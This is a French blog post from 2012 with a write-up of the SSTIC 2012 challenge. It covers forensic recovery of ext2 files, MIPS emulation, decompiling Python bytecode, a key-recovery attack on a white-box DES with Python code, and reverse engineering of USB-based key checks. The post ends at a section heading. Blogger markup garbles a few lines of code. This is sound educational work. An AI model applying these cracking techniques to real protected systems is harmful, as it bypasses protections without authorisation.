jeudi 7 juin 2012

Challenge SSTIC 2012

Pour la première fois cette année, je me suis essayé au challenge SSTIC, même si j'étais hors concours... Un défi très intéressant et j'en remercie les auteurs ! Il est possible de trouver ma solution au format pdf ici.

Introduction

Le challenge SSTIC 2012 consistait à retrouver une adresse e-mail dans l'image d'un disque dur. Un challenge très intéressant car il fait appel à divers domaines de compétence, comme le forensic, la cryptographie ou encore le reverse engeenering. Ci-dessous une liste d'outils existants ayant été utilisés:
  • Les outils de base disponibles dans une distribution Linux
  • IDA pour le reverse du code MIPS
  • qemu pour émuler une architecture MIPS
  • emacs pour faire du développement d'outils
  • python
  • gcc

Analyse du fichier d'entrée

Le fichier d'entrée appelé challenge.txt n'est en réalité pas un fichier texte mais un fichier compressé avec gzip.

$ file challenge.txt
challenge.txt: gzip compressed data, was "dump.img", 
from Unix, last modified: Fri Mar 23 10:11:37 2012
$ mv challenge.txt challenge.gz
$ gunzip challenge.gz
$ file challenge
challenge: x86 boot sector; partition 1: ID=0x83, 
active, starthead 1, startsector 63, 2088387 sectors, code offset 0xb8
Une fois le fichier décompressé, la commande file nous apprend qu'il s'agit d'une image de disque dur, et qu'elle est à priori bootable.

La commande fdisk quant à elle nous dit que cette image contient une partition qui commence au 63e secteur et qu'elle serait de type Linux.

$ /sbin/fdisk challenge

Command (m for help): p

Disk challenge: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders, total 2097152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xcf660900

    Device Boot      Start         End      Blocks   Id  System
challenge1   *          63     2088449     1044193+  83  Linux

Comme cette partition commence au 63e secteur et que chaque secteur a une taille de 512 octets, il est possible de monter cette partition à l'offset 32256[1. 63*512].

$ mkdir disk
$ sudo mount -o loop,offset=32256 challenge disk

Une fois l'image montée, on remarque qu'il s'agit d'un système Linux tournant sous debian. Le système de fichier est de type ext2 et un utilisateur sstic existe sur le système. Plusieurs fichiers intéressants se trouvent dans son arborescence.

$ ls -l disk/home/sstic
total 1,4M
-rw-r--r-- 1 root root  871 mars  23 09:51 irc.log
-rwxr-xr-x 1 root root 1,1M mars  23 09:29 secret
-rwxr-xr-x 1 root root  128 mars  23 09:30 ssticrypt

Le fichier irc.log relate une discussion confidentielle entre lobster_dog et blue_footed_booby. lobster_dog veut protéger ses fichiers de l'infâme lobster_cat. Pour cela il les envoie à blue_footed_booby qui va les chiffrer avec son système révolutionnaire. Les données sont protégées et lobster_dog peut donc les supprimer tranquillement.

Le problème est que le disque dur bon marché de blue_footed_booby n'est plus tout jeune et rend l'âme. Les données de lobster_dog n'existent donc plus que sous forme chiffrées... sur un disque dur agonisant.

Les données en question doivent être situées dans le fichier secret du répertoire /home/sstic. Et la méthode de chiffrement de ces données doit se situer dans le fichier ssticrypt.

Le fichier ssticrypt est un fichier ELF 32-Bit pour architecture MIPS.

$ file disk/home/sstic/ssticrypt
ssticrypt: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically 
linked (uses shared libs), stripped
L'image doit donc être l'image du disque dur d'une machine MIPS.

Cependant la taille du fichier ssticrypt est suspecte, seulement 128 octets. Si elle s'avère vraie, le reverse de ce binaire devrait être rapide...

$ readelf -a ssticrypt 
readelf: Error: Unable to read in 0x28 bytes of section headers
ELF Header:
  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x400c40
  Start of program headers:          52 (bytes into file)
  Start of section headers:          305184 (bytes into file)
  Flags:                             0x1007, noreorder, pic, cpic, o32, mips1
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         8
  Size of section headers:           40 (bytes)
  Number of section headers:         39
  Section header string table index: 36
readelf: Error: Unable to read in 0x618 bytes of section headers
readelf: Error: Section headers are not available!
readelf: Error: Unable to read in 0x100 bytes of program headers

A priori le fichier ssticrypt a été victime de la loi de la tartine de confiture... Le crash du disque dur a eu un impact direct sur ce fichier...

Après quelques lectures sur les rudiments du fonctionnement de l'ext2, il est temps de reconstruire le fichier ssticrypt. Pour cela l'utilitaire debugfs est utilisé.

$ dd if=challenge of=partition skip=63 bs=512
2097089+0 enregistrements lus
2097089+0 enregistrements écrits
1073709568 octets (1,1 GB) copiés, 5,27244 s, 204 MB/s
$ sudo debugfs partition -R "stat /home/sstic/ssticrypt"
Inode: 19   Type: regular    Mode:  0755   Flags: 0x0
Generation: 163417970    Version: 0x00000000
User:     0   Group:     0   Size: 128
File ACL: 0    Directory ACL: 0
Links: 1   Blockcount: 616
Fragment:  Address: 0    Number: 0    Size: 0
ctime: 0x4f6c348c -- Fri Mar 23 09:30:04 2012
atime: 0x4fa78167 -- Mon May  7 10:01:43 2012
mtime: 0x4f6c348c -- Fri Mar 23 09:30:04 2012
Size of extra inode fields: 0
BLOCKS:
(0-11):20480-20491, (IND):20492, (12-75):20493-20556
TOTAL: 77
$ sudo dumpe2fs partition  | grep -i "block size"        
dumpe2fs 1.42.2 (9-Apr-2012)
Block size:               4096
On apprend que le fichier ssticrypt est en réalité composé de 77 blocs, et qu'ils sont contigües ce qui nous arrange vraiment, de plus chaque bloc a une taille de 4096 octets.

En ext2 les 12 premiers blocs sont des blocs directs, donc des blocs de données. Ensuite l'inode contient si besoin un bloc indirect (c'est à dire un bloc qui va pointer sur 256 autres blocs directs), un bloc doublement indirect(qui pointe sur 256 blocs indirects), et enfin un bloc triplement indirect (qui pointe sur 256 blocs doublement indirects).

En résumé, certains blocs sont des blocs de données, d'autres sont des blocs contenant des pointeurs soit sur des données soit sur d'autres pointeurs. C'est important pour la restauration de notre fichier afin ne pas considérer des pointeurs comme des données.

Le fichier ssticrypt est composé des blocs 20480 à 20556. Les 12 premiers blocs sont des blocs de données, le 13e (bloc 20492) est un bloc indirect et ensuite les blocs 20493 à 20556 sont à nouveau des blocs de données (référencés par le bloc indirect 20492). Il n'y a pas dans ce cas là, de bloc doublement indirect ou triplement indirect. La reconstruction se résume donc à prendre les blocs 20480 à 20491 et les blocs 20493 à 20556.

Remarque: Le bloc 20556 n'est probablement pas à prendre en totalité, cependant la taille du fichier ayant été altérée il est encore trop tôt pour le dire. Quoiqu'il en soit, cela ne sera pas un frein pour la résolution du challenge.

$ dd if=partition of=ssticrypt_part1 skip=20480 bs=4096 count=12
12+0 enregistrements lus
12+0 enregistrements écrits
49152 octets (49 kB) copiés, 9,4727e-05 s, 519 MB/s
$ dd if=partition of=ssticrypt_part2 skip=20493 bs=4096 count=64
64+0 enregistrements lus
64+0 enregistrements écrits
262144 octets (262 kB) copiés, 0,00036684 s, 715 MB/s
$ cat ssticrypt_part1 ssticrypt_part2 > ssticrypt
Remarque: Une solution plus simple aurait été de corriger directement la taille du fichier dans l'inode avec debugfs. Cependant cette méthode permet de mieux comprendre le fonctionnement de l'ext2.

$ readel -a ssticrypt
ELF Header:
  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x400c40
  Start of program headers:          52 (bytes into file)
  Start of section headers:          305184 (bytes into file)
  Flags:                             0x1007, noreorder, pic, cpic, o32, mips1
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         8
  Size of section headers:           40 (bytes)
  Number of section headers:         39
  Section header string table index: 36
[...]

  00459ecc -32532(gp) 00402b00 00402b00 FUNC    UND calloc
  00459ed0 -32528(gp) 00000000 00000000 NOTYPE  UND _Jv_RegisterClasses
  00459ed4 -32524(gp) 00000000 00000000 FUNC    UND __gmon_start__
  00459ed8 -32520(gp) 00402af0 00402af0 FUNC    UND signal
  00459edc -32516(gp) 00402ae0 00402ae0 FUNC    UND memcmp
  00459ee0 -32512(gp) 00402990 00402990 FUNC     11 __libc_csu_fini
  00459ee4 -32508(gp) 00402ad0 00402ad0 FUNC    UND open
  00459ee8 -32504(gp) 00402ac0 00402ac0 FUNC    UND sprintf
  00459eec -32500(gp) 00402ab0 00402ab0 FUNC    UND usb_release_interface
Le fichier semble cette fois-ci plus complet. Afin de s'en assurer, nous allons essayer de l'exécuter. Comme c'est un binaire pour architecture MIPS nous allons utiliser qemu. Le kernel vmlinux a été récupéré dans /boot de l'image.

$ qemu-system-mips -kernel vmlinux -hda challenge -append "root=/dev/hda1 rw" 
-nographic -monitor stdio -serial pty
char device redirected to /dev/pts/1
QEMU 1.0,1 monitor - type 'help' for more information
(qemu)

Puis dans un autre terminal :

$ screen /dev/pts/1
[...]
[17179572.456000] Kernel panic - not syncing: No init found.  
Try passing init= option to kernel.
[...]

Aïe, comme par hasard... un kernel panic sur le init. Ce contre-temps peut être évité en passant init=/bin/bash au démarrage, cependant le système sera assez limité. Après analyse du fichier /sbin/init, on s'aperçoit que comme ssticrypt il a été victime du disque dur bon marché (comme par hasard !). La même méthode est donc utilisée pour le restaurer.

Remarque: Avant le redémarrage de l'image, le fichier /etc/shadow est modifié afin ne pas à avoir rentrer de mot de passe sur le système.

$ ./ssticrypt
--> SSTICRYPT <-- data-blogger-escaped-br="">usage: ./ssticrypt [-d|-e]  
        -d: uncrypt
        -e: crypt

Le fichier semble fonctionner. Il ne reste plus qu' à comprendre ce qu'il fait.

Remarque: L'image MIPS a été modifiée pour installer tous les utilitaires digne de ce nom, comme gdb, objdump...

ssticrypt à la loupe

Le fichier ssticrypt est un fichier elf qui n'est pas strippé. Le désassemblage de ce fichier par IDA ne pose aucun problème. Voilà le pseudo code de la fonction principale (avec beaucoup de raccourcis):

Main():
  mode = "dechiffrement"
  Si len(arg) != 4:
     exit;
  Si len(arg[3]) != 32:
        exit;

  Si(arg[1]) == "-e":
     mode = "chiffrement"

  f = open(arg[3]).read()
  i = 0

  Si mode == "dechiffrement":
     md5 = f[:16]
        Si md5sum(f[16:]) != md5:
             Warning !
   i = 16

  buf = f[i:]
  key_part1 = arg[2][:16]
  key_part2 = arg[2][16:]
  Verif_coincoin()

  Si mode == "dechiffrement":
     check_key(key_part1,1)
     check_key(key_part2,2)
     Transform_XOR(buf)    

  buf = RC4(key,buf)

  Si mode == "chiffrement":
     Transform_XOR-1(buf)
     buf = md5sum(buf)+buf

  EcritBuf(buf,mode)

Le programme ssticrypt permet donc de chiffrer ou de déchiffrer un fichier avec l'algorithme RC4 et une clé passée en paramètre de 32 octets (modulo une transformation à base de XOR). En cas de chiffrement, un md5 est inséré au début du fichier et porte sur tout le reste du fichier.

En cas de déchiffrement deux vérifications sont faites sur la clé fournie, une première sur les 16 premiers octets et une seconde sur les 16 derniers.

Deux informations sont ici importantes : La première est que s'il nous est possible de chiffrer un fichier avec n'importe quelle clé, il nous sera impossible de le déchiffrer si nous n'avons pas la clé attendue. La deuxième est que les 16 premiers octets du fichiers secret sont le md5 du fichier secret (moins les 16 premiers octets). Nous pouvons donc immédiatement faire cette vérification.

$ dd if=secret bs=1 count=16 | hexdump -C
16+0 records in
16+0 records out
16 bytes (16 B) copied, 0.00335965 s, 4.8 kB/s
00000000  b8 4d b9 ec 23 52 4e 4e  55 77 03 fb 55 df c0 83  |.M..#RNNUw..U...|
00000010
$ dd if=secret skip=16 | md5sum 
2032+1 records in
2032+1 records out
1040400 bytes (1.0 MB) copied, 0.0515589 s, 20.2 MB/s
94a509d51d73e9bc690eefb133dc4d18  -
Et bien non, le md5 ne marche pas... (comme par hasard encore une fois...).

secret à la loupe

La même méthode que pour ssticrypt ne peut pas ici être utilisée, car la taille donnée par debugfs est supérieure au nombre de block.

$ sudo debugfs partition -R "stat /home/sstic/secret"
Inode: 14   Type: regular    Mode:  0755   Flags: 0x0
Generation: 163417969    Version: 0x00000000
User:     0   Group:     0   Size: 1048592
File ACL: 0    Directory ACL: 0
Links: 1   Blockcount: 2064
Fragment:  Address: 0    Number: 0    Size: 0
ctime: 0x4f6c3483 -- Fri Mar 23 09:29:55 2012
atime: 0x4fa78164 -- Mon May  7 10:01:40 2012
mtime: 0x4f6c3483 -- Fri Mar 23 09:29:55 2012
Size of extra inode fields: 0
BLOCKS:
(0-2):26625-26627
TOTAL: 3

Faisons la supposition que la taille est correcte et que les blocs constituant secret sont contigües. Il faut 257 blocs de données (ndlr : 1048592/4096) pour contenir le fichier secret. Comme le 13e bloc est un bloc indirect, il faut prendre 258 blocs en partant du bloc 26625 et sauter le bloc 26637. Seuls les 16 (ndlr : 1048592%4096) premiers octets du dernier bloc devront être pris.

$ dd if=partition bs=4096 skip=26625 count=12 of=secret_part1
$ dd if=partition bs=4096 skip=$((26625+13)) count=$((256-12)) of=secret_part2
$ dd if=partition bs=4096 skip=$((26625+257)) count=1 of=secret_last_bloc
$ head -c 16 secret_last_bloc > secret_part3
$ cat secret_part1 secret_part2 secret_part3 > secret
$ tail -c +17 secret | md5sum
b84db9ec23524e4e557703fb55dfc083  -
Notre supposition était donc bonne. Le fichier secret est maintenant correct. Plus qu'à trouver la clé pour le déchiffrer.

La vérification de la clé pour le déchiffrement se fait via la fonction check_key.

Dans les méandres d'une White Box DES en python

Les 16 premiers octets de la clé sont vérifiés grâce à un programme python embarqué dans ssticrypt.

Reverse de bytecode Python

Le programme python est extrait par check_key dans le répertoire courant, exécuté avec en paramètre les 16 premiers octets de la clé, puis supprimé. L'extraction peut soit se faire en évitant la suppression après l'exécution, soit en le récupérant directement dans ssticrypt (se référer au readelf -a pour les offsets).

$ dd if=ssticrypt of=check.pyc bs=1 skip=$((0x413030-0x413020+0x3020)) 
count=$((0x4457d))
279933+0 enregistrements lus
279933+0 enregistrements écrits
279933 octets (280 kB) copiés, 0,325456 s, 860 kB/s
$ file check.pyc 
check.pyc: python 2.5 byte-compiled
Bien entendu c'est du bytecode python et le code source n'est pas fourni... Après avoir exploré une partie du net et avoir testé une bonne grosse quantité d'outils permettant d'avoir un code source à partir d'un bytecode python (unpyc, uncompyle, unpyc3, uncompyle2, UnPyc, decompyle, byteplay...), force est de constater qu'aucun n'a fonctionné réellement correctement.

Seule la librairie marshal inclue de base dans python a été utilisée :

[...]     
def show_code(code, indent=''):
    print "%scode" % indent
    indent += '   '
    print "%sargcount %d" % (indent, code.co_argcount)
    print "%snlocals %d" % (indent, code.co_nlocals)
    print "%sstacksize %d" % (indent, code.co_stacksize)
    print "%sflags %04x" % (indent, code.co_flags)
    show_hex("code", code.co_code, indent=indent)
    dis.disassemble(code)
    print "%sconsts" % indent
    for const in code.co_consts:
        if type(const) == types.CodeType:
            show_code(const, indent+'   ')
        else:
            print "   %s%r" % (indent, const)
    print "%snames %r" % (indent, code.co_names)
    print "%svarnames %r" % (indent, code.co_varnames)
    print "%sfreevars %r" % (indent, code.co_freevars)
    print "%scellvars %r" % (indent, code.co_cellvars)
    print "%sfilename %r" % (indent, code.co_filename)
    print "%sname %r" % (indent, code.co_name)
    print "%sfirstlineno %d" % (indent, code.co_firstlineno)
    show_hex("lnotab", code.co_lnotab, indent=indent)
     
[...]

Le code produit par cette librairie est certes loin de s'approcher du code source :

[...]
            276 CALL_FUNCTION            1
            279 STORE_NAME              27 (WT)

50101         282 LOAD_NAME               28 (len)
            285 LOAD_NAME                6 (sys)
            288 BUILD_MAP               29
            291 CALL_FUNCTION            1
            294 LOAD_CONST              23 (1)
            297 LOAD_ATTR                2 (log)
            300 JUMP_IF_FALSE_OR_POP    19
            303 POP_TOP             

50102         304 LOAD_CONST         24 ('Usage: python check.pyc <key>')
            307 PRINT_ITEM          
            308 PRINT_NEWLINE       

50103         309 LOAD_CONST         25 ('   - key: a 64 bits hexlify-ed string')
            312 PRINT_ITEM          
            313 PRINT_NEWLINE       

50104         314 LOAD_CONST         26 ('Example: python check.pyc 0123456789abcdef')
            317 PRINT_ITEM          
            318 PRINT_NEWLINE       
            319 JUMP_FORWARD           159 (to 481)
            322 POP_TOP
[...]

Mais avec une bonne (grosse) dose de motivation et une bonne documentation il est possible d'obtenir un code source fidèle.

L'analyse de ce code source montre la définition d'une classe Bit, l'implémentation de l'algorithme symétrique DES et la définition d'une classe appelée WhiteDES. L'objectif est de trouver la clé qui quel que soit le message en clair, produira le même chiffré avec l'algorithme DES qu'avec la classe WhiteDES. Cette dernière étant configurée avec des tables contenues dans des objets pickles de taille suffisamment grande pour faire ramer la plupart des éditeurs de texte...

Après quelques recherches sur internet, on trouve rapidement un papier très intéressant décrivant le fonctionnement d'une White-Box DES.

White-Box DES

La supposition est faite ici que le lecteur connait le fonctionnement de l'algorithme DES.
Principe
L'objectif d'une White-Box DES est d'implémenter l'algorithme DES avec une clé fixe. Cette implémentation doit ou devrait faire en sorte que l'extraction de cette clé soit impossible.

Le principe est de modifier l'ensemble des SBOX DES originales par des TBOX qui produiront le même résultat que les SBOX associées à une clé fixe. Pour rendre le procédé plus robuste à des attaques statistiques, les TBOX sont rendues bijectives en modifiant la quantité d'informations qu'elles traitent (entrée) et la quantité d'information qu'elles produisent (sortie). Pour des besoins d'implémentation et de sécurité, 4 TBOX supplémentaires sont ajoutées ne correspondant pas directement à des SBOX.

Enfin des transformations d'initialisation (M1), à la fin de chaque tour (M2) et à la fin du process entier (M3) sont mise en place pour effectuer des permutations, des expansions/réductions de données, des mélanges de TBOX et aussi pour des besoins d'implémentation.

  
Dans l'implémentation de cette WhiteBox, les seules données dépendantes de la clé sont les TBOX correspondantes aux SBOX. Même si les transformations (M1, M2, M3) sont importantes pour le bon fonctionnement de l'algorithme, elles n'ont pas de lien direct avec la clé recherchée et peuvent donc être ignorées dans l'attaque qui sera menée. Un élément toutefois important produit par ces transformations est le mélange des TBOX. La TBOX i ne correspond pas forcément à la SBOX i.
Construction d'une TBOX
Pour attaquer une WhiteBox il est important de comprendre comment sont constituées les TBOX.

Chaque SBOX S est remplacée par une SBOX Sk qui produirait le même résultat que S si S était utilisée avec la clé K. Ajouté à cela, chaque SBOX qui prend normalement 6 bits en entrée et produit 4 bits en sortie, est modifiée pour prendre 2 bits supplémentaires en entrée et produire 8 bits en sortie.

Pour une TBOX les 8 bits d'entrée se décomposent donc de la façon suivante :
  • les 6 bits de poids fort sont les bits d'entrée de la SBOX correspondante
  • les 2 bits de poids faible sont 2 bits supplémentaires[2. La source de ces bits n'est pas importante pour notre besoin]
De la même façon, les 8 bits de sorties se décomposent de la façon suivante:
  • les 4 bits de poids fort sont les bits de sortie de la SBOX correspondante
  • les 2 bits suivants sont le bits de poids fort et le bit de poids faible des 6 bits d'entrée de la SBOX correspondante
  • les 2 bits de poids faible sont les 2 bits supplémentaires ajoutée en entrée de la TBOX
Attaque sur la WhiteBox
Comme dit précédemment, chaque SBOX prend en entrée 6 Bits. Ces 6 bits, sont xorés avec 6 bits de la clé puis produisent 4 bits. Cette sortie sera égale aux 4 premiers bits de la sortie de la TBOX correspondante.

Il est donc possible de tester l'ensemble des clés en entrée d'une SBOX, et de vérifier quelle clé produit les mêmes résultats qu'une TBOX. Si le résultat correspond, alors la TBOX peut correspondre à la SBOX testée et la clé est un candidat possible. Il suffit de réitérer la manipulation avec des messages différents jusqu'à qu'il n'y ait plus qu'une seule clé candidate.

[...]
def break_sbox_key(wt,sbox):
    """ Casse la sous clé de la sbox correspondant à la WhiteBox wt """
    # Pour toute les clés possible
    for k in xrange(64):
        tbox = range(12)
        bad_key = False
        for m in xrange(64):
            M = Bits(m,6)
            res_sbox = SBOX(M,k,sbox)
            for i in xrange(4):
                M2 = M//Bits(i,2)
                good_tbox = []
                for ntbox in tbox:
                    res_tbox = wt.KT[0][ntbox][M2.ival]
                    if Bits(res_tbox,8)[0:4] == res_sbox:
                        good_tbox.append(ntbox)
                tbox = good_tbox
                if len(tbox) == 0:
                    bad_key = True
                    break
            if bad_key: break
        if not bad_key: return Bits(k,6)
    return None
[...]
Cette manipulation permet de récupérer 6 bits de la clé DES par SBOX, donc au total 48 bits. Les 8 bits restants seront trouvés par bruteforce.

Le résultat final produit la clé fd4185ff66a94afd qui représente la première moitié de la clé RC4 recherchée.

Analyse du MIPS

La deuxième partie de la clé est vérifiée par un mécanisme tout autre, l'intérrogation d'un périphérique USB, comme le montre les appels à usb_get_bus et usb_ctrl_msg. Les librairies utilisées par ssticrypt confirment que le programme utilise la libusb.

$ ldd ssticrypt
        libssl.so.0.9.8 => /usr/lib/libssl.so.0.9.8 (0x2aada000)
        libusb-0.1.so.4 => /lib/libusb-0.1.so.4 (0x2ab37000)
        libc.so.6 => /lib/libc.so.6 (0x2ab4f000)
        libcrypto.so.0.9.8 => /usr/lib/libcrypto.so.0.9.8 (0x2acc4000)
        libdl.so.2 => /lib/libdl.so.2 (0x2ae44000)
        libz.so.1 => /usr/lib/libz.so.1 (0x2ae58000)
        /lib/ld.so.1 (0x2aaa8000)

La fonction check_key pour la deuxième partie de la clé, commence par initialiser une zone mémoire de 4096 octets (qui sera appelée RAM dans la suite de ce document) puis recherche un périphérique USB avec les identificats 0x41c 0x9d. Une fois ce périphérique trouvé, 2 buffers embarqués dans ssticrypt lui sont envoyés : init.rom et stage2.rom. Enfin la fonction vicpwn_handle est appelée avec en paramètre la deuxième partie de la clé. Cette fonction sera responsable du refus ou non de notre clé.

Remarque: Tous les détails d'implémentation comme les allocations, libération mémoire, inversion d'octets... non directement nécessaire à la compréhension du problème seront ignorés (même si bien entendu ils ne l'ont pas été pour la résolution).

Fonction vicpwn_handle

La fonction vicpwn_handle a une boucle principale pouvant faire au maximum 3 tours. A chaque tour, des données embarquées dans ssticrypt et appelées layer sont chargées dans la RAM (load_layer). Une partie de la clé est elle aussi chargée dans la RAM (set_my_key).

Ensuite intervient une boucle secondaire, qui va communiquer avec le périphérique USB. A chaque tour de cette boucle, vicpwn_handle va envoyer une partie de la RAM au périphérique et se mettre en attente d'une réponse de 20 octets. Une fois celle-ci reçue, les 16 premiers octets seront considérés comme des données à écrire dans la RAM à l'adresse contenu dans les 16 et 17e octet. Les octets 18 et 19 seront eux considérés comme l'adresse des 20 octets suivants en RAM dont le périphérique a besoin.

Cette boucle secondaire peut être considérée comme un moyen pour le périphérique USB d'interagir directement avec la zone mémoire RAM du programme ssticrypt, comme si cette dernière était mappée dans son propre adressage mémoire.

Dès que l'adresse 0x8000 de la RAM est modifiée, la boucle d'interaction avec le périphérique USB s'interrompt et une vérification est faite sur l'état de la RAM laissé par le périphérique USB (vicpwn_check). Cette vérification est différente à chaque tour de boucle et donc à chaque layer. Si l'état de la RAM est valide vis à vis de vicpwn_check, alors on continue dans vicpwn_handle en chargeant le layer suivant (modifié lors de l'appel de vicpwn_check), sinon on s'arrête pour cause de clé invalide.

Le pseudo-code (simplifié) de la fonction vicpwn_handle peut se résumer à cela :

def vicpwn_handle():
 layer = all_layers[0]
 addr_ram = 0

 for ilayer in xrange(3):
   load_layer(layer, ilayer, 0)
   set_my_key(key, ilayer, 0xa000)

   while ram[0x8000:0x8002] == "\x00\x00":
       send_to_usb_device(ram[addr_ram:addr_ram+20],20)
         buf = rcv_from_usb_device(20)
         addr_write = buf[-4:-2]
         addr_ram = buf[-2:]
         ram[addr_write:addr_write+16] = buf[:16]
  layer = vicpwn_check(i,0xa000,key)
  ram[0x8000:0x8002] = "\x00\x00"
Remarque: Le premier layer est chargé tel quel dans la RAM. Les suivants sont retournés par vicpwn_check après transformation de leur contenu. On peut donc supposer que les layer2 et layer3 ne sont pas en clair dans le programme ssticrypt, contrairement au layer1.

Fonction load_layer

La fonction load_layer est appelée à chaque tour de boucle par vicpwn_handle. Sa seule action est de charger à l'adresse 0 de la RAM le layer issu de vicpwn_check (ou le premier layer si nous sommes au premier tour).

Fonction set_my_key

La fonction set_my_key est elle aussi appelée à chaque tour de boucle par vicpwn_handle. Elle charge une partie de la clé à l'adresse 0xa000 de la RAM.

Au second tour, les données blob contenues dans les data du programme ssticrypt seront elles aussi chargées dans la RAM à l'adresse 0xa010.

Au troisième tour, ce seront les données blah qui seront chargées en 0xa010.




Au premier tour les caractères de 0 à 8 seront chargés en mémoire, au second tour les caractères de 4 à 12 et enfin au 3° tour les caractères de 8 à 16. Comme chaque caractère représente en réalité un chiffre hexadécimal, il est fort probable que le premier tour nous permette de découvrir 4 octets la clé, le suivant 2 nouveaux octets (4 octets au total mais 2 déjà découvert au tour précédent) et enfin le dernier encore 2 nouveaux octets (même remarque que précédemment).

Ce fonctionnement laisse donc penser que comme la découverte de la clé se fait de façon progressive, il serait possible, de lancer un bruteforce sur les derniers octets de la clé (cependant par soucis de compréhension cette technique pour challenger pressé ne sera pas utilisée).

Fonction vicpwn_check

Cette fonction est appelée à la fin de chaque tour de boucle par vicpwn_handle pour vérifier l'état de la RAM et mettre à jour le layer suivant.

La vérification de l'état de la RAM est propre à chaque tour de boucle (et donc propre au layer chargé), ce qui veut dire que chaque morceau de clé est vérifié de façon différente.
Premier tour
Pour que la clé soit valide au premier tour, il suffit que la RAM à l'adresse 0xa000 ne soit pas égale aux 4 premiers octets de la clé (pour rappel les 4 premiers octets de la clé sont chargés lors du set_my_key en 0xa000). L'équipement USB doit donc changer la clé en 0xa000 pour que l'on puisse considérer les 4 premiers octets de la clé comme valide, si ce n'est pas le cas alors le programme ssticrypt s'arrètera en disant que la clé est mauvaise.

Les modifications apportées au layer suivant sont faites à base de XOR. Les deux premiers octets du layer2 (contenu dans les data de ssticrypt) sont xorés avec la nouvelle valeur contenue en 0xa000, puis les 2 octets suivants sont xorés avec ce résultat et ainsi de suite. Le résultat final donnera le layer qui sera chargé en mémoire. Le programme suivant permet d'effectuer cette transformation.

#!/usr/bin/env python

import struct,sys

if len(sys.argv) != 2:
    print ("Usage: %s hex_key" % sys.argv[0])
    sys.exit(1)

key = int(sys.argv[1],16)
layer1_str = open("layer2.bin","r").read()
layer_size = len(layer1_str)

def swap_word(word):
    w1 = word&0xff
    w2 = ((word&0xff00)>>8)&0xff
    return ((w1<<8 data-blogger-escaped-br="" data-blogger-escaped-w2="" data-blogger-escaped-xffff="">
def swap_key(x):
    w1 = (x&0xffff)&0xffff
    w2 = ((x&0xffff0000)>>16)&0xffff
    w1 = swap_word(w1)
    w2 = swap_word(w2)
    return ((w2<<16 data-blogger-escaped-br="" data-blogger-escaped-w1="" data-blogger-escaped-xffffffff="">
def unpack(s):
    return struct.unpack(">I",s)[0]

def pack(i):
    return struct.pack(">I",i)

key = swap_key(key)
count = 1 
ptr = pack(key ^ unpack(layer1_str[:4]))
while True:
    if count >= (layer_size-2)/4:
        f=open("layer2_unencode.bin","wb")
        f.write(ptr)
        f.close()
        sys.exit(0)

    a0 = unpack(layer1_str[count*4:(count+1)*4])
    v0 = ((1 - count)*4)
    v0 = -v0 
    v0 = unpack(ptr[v0:v0+4])
    ptr = ptr + pack(v0 ^ a0) 
    count += 1


La transformation du layer2 étant dépendante de la valeur en RAM à l'adresse 0xa000 (modifiée par le dispositif USB), il n'est pas possible de décoder le layer2 à cet instant.
Deuxième tour
Pour que la clé soit valide au deuxième tour, il suffit que la RAM à l'adresse 0xa108 soit différente de 0xffff. A cette adresse normalement il y a les 2 derniers octets de blob cité plus haut. Ces deux octets sont différents de 0xffff, on peut donc conclure que le contenu de blob est modifié par le dispositif USB.

Les modifications apportées au layer suivant sont basées sur le contenu final du blob. Les octets du layer3 sont xorés avec les valeurs contenues l'intérieur. Contrairement au tour précédent, une opération dépendante des valeurs du blob permet de trouver quelle valeur du blob il faut utiliser pour le xor.

La fonction C suivante permet de déchiffrer le contenu du layer grâce au blob.

void unencode_layer3(uint8_t *layer, uint8_t *blob, uint8_t *ptr) {
   uint16_t count = 0;
   uint8_t byte = 0;
   uint8_t store1 = 0;
 
   while(count<SIZE_LAYER) {
      uint8_t store2;
      uint8_t addr;
      uint8_t v1,v0,a0,a2;
 
      byte += 1;
 
      // SWAP
	  // Comme store1 est sur 8 bits et que blob fait 256 octets, 
      // l'overflow ne pose pas de problème
      store1 += VALUE_AT(blob+byte);
      store2 = VALUE_AT(blob+byte);
      v1 = VALUE_AT(blob+store1);
      VALUE_AT(blob+byte) = v1; 
      VALUE_AT(blob+store1) = store2;
 
      a2 = VALUE_AT(layer+count);
      a0 = VALUE_AT(blob+byte);
      v0 = VALUE_AT(blob+store1);
 
      v1 = (v0+a0) & 0xff;
      v0 = VALUE_AT(blob+v1);
 
      v0 ^= a2; 
      VALUE_AT(ptr+count) = v0; 
      count += 1;
   }   
}
Troisième tour
Le troisième et dernier tour effectue une comparaison de chaînes de caractères pour savoir si la clé est correcte. Il faut que la RAM à l'adresse 0xa010 contienne une chaîne de caractères qui soit égale à V29vdCAhISBTbWVsbHMgZ29vZCA6KQ== (soit Woot !! Smells good :) en base64).

Si à chaque tour les vérifications sont correctes, la clé finale est alors la bonne. Dans les autres cas, le programme ssticrypt s'arrête.

A chaque tour pour savoir si les morceaux de clé sont correctes, il faut que le contenu de la RAM ait une certaine valeur. Or celle-ci n'est modifiée que par le dispositif USB. Donc pour réellement comprendre comment est modifiée la RAM, il faut comprendre quelles sont les actions menées par le dispositif USB.

Les seules informations que nous avons sur ce périphérique USB sont les identifiants 0x41c et 0x9d, et les drivers embarqués dans le système Linux correspondant à l'image. Après quelques recherches, le périphérique en question est controlé par le driver vicam, un driver de webcam.

Etant donné qu'il y a peu de chance qu'une webcam embarque de base un code faisant des vérifications sur une clé pour valider un challenge, le reverse des firmwares init.rom et stage2.rom envoyé au démarrage à la caméra semble malheureusement la seule solution.

CPU CY16

